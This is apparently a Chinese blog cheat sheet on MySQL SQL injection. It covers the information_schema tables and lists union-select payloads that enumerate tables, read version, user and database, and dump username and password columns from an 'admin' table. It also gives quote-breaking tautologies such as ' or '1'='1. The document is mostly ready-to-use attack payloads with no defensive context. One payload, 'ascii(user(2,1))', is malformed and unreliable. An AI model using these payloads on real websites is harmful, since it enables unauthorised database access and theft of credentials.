MYSQL报错注入杂记

元数据库information_schema

在5.0以后版本的MYSQL中存在着一个元数据information_schema,其中存储着用户在MYSQL中创建的所有其他数据库的信息。

当对PHP+MYSQL类网站进行注入时,主要是针对information_schema数据库进行操作;

 

比较重要的数据表:

schema:用于存放所有数据库的名字;

tables:用于存放所有数据库中的数据表的名字;

columns:用于存放所有数据库的所有数据表中的所有字段的名字;

eg.

查看数据库cms0308数据库中包含了那些表:

select table_name from information_schema.tables where table_schema = "cms0308";

查看hack数据表中包含了哪些字段:

select column_name from information_schema.columns where table_name="hack";

 

 

通过加上1=2用于造成前面的语句错误,只显示后面select1,2的内容:

select * from hack where id=1 and 1=2 union select 1,2

若没有加上1=2,上述语句将只返回前面正确内容。

 

查看当前版本号,当前用户:

select * from hack where id=1 and 1=2 union select 1,version(),user(),4,5

查看当前数据库:

select * from hack where id=1 and 1=1 union select 1,database(),3,4,5

 

通过group_concat()显示字段中所有内容:

union select 1,group_concat(table_name),3,4,5 from information_schema.tables where table_schema="govcn"

 

利用unhex(hex())函数进行编码转换,解决网站编码不一致导致的问题:

union select 1,unhex(hex(username)),unhex(hex(password)),4,5 from admin

 

‘+or+’1’=’1

‘+or+ascii(user(2,1))=2+or+’1’=’1         (2,代表第二个字母,1代表第一个表名)

判断sql语句用什么连接,用+号连接的是sqlserver,用||连接的是oracle,用空格的是mysql

 

 

 

 

上一篇:Hack The Box——Luanne


下一篇:程序员装逼游戏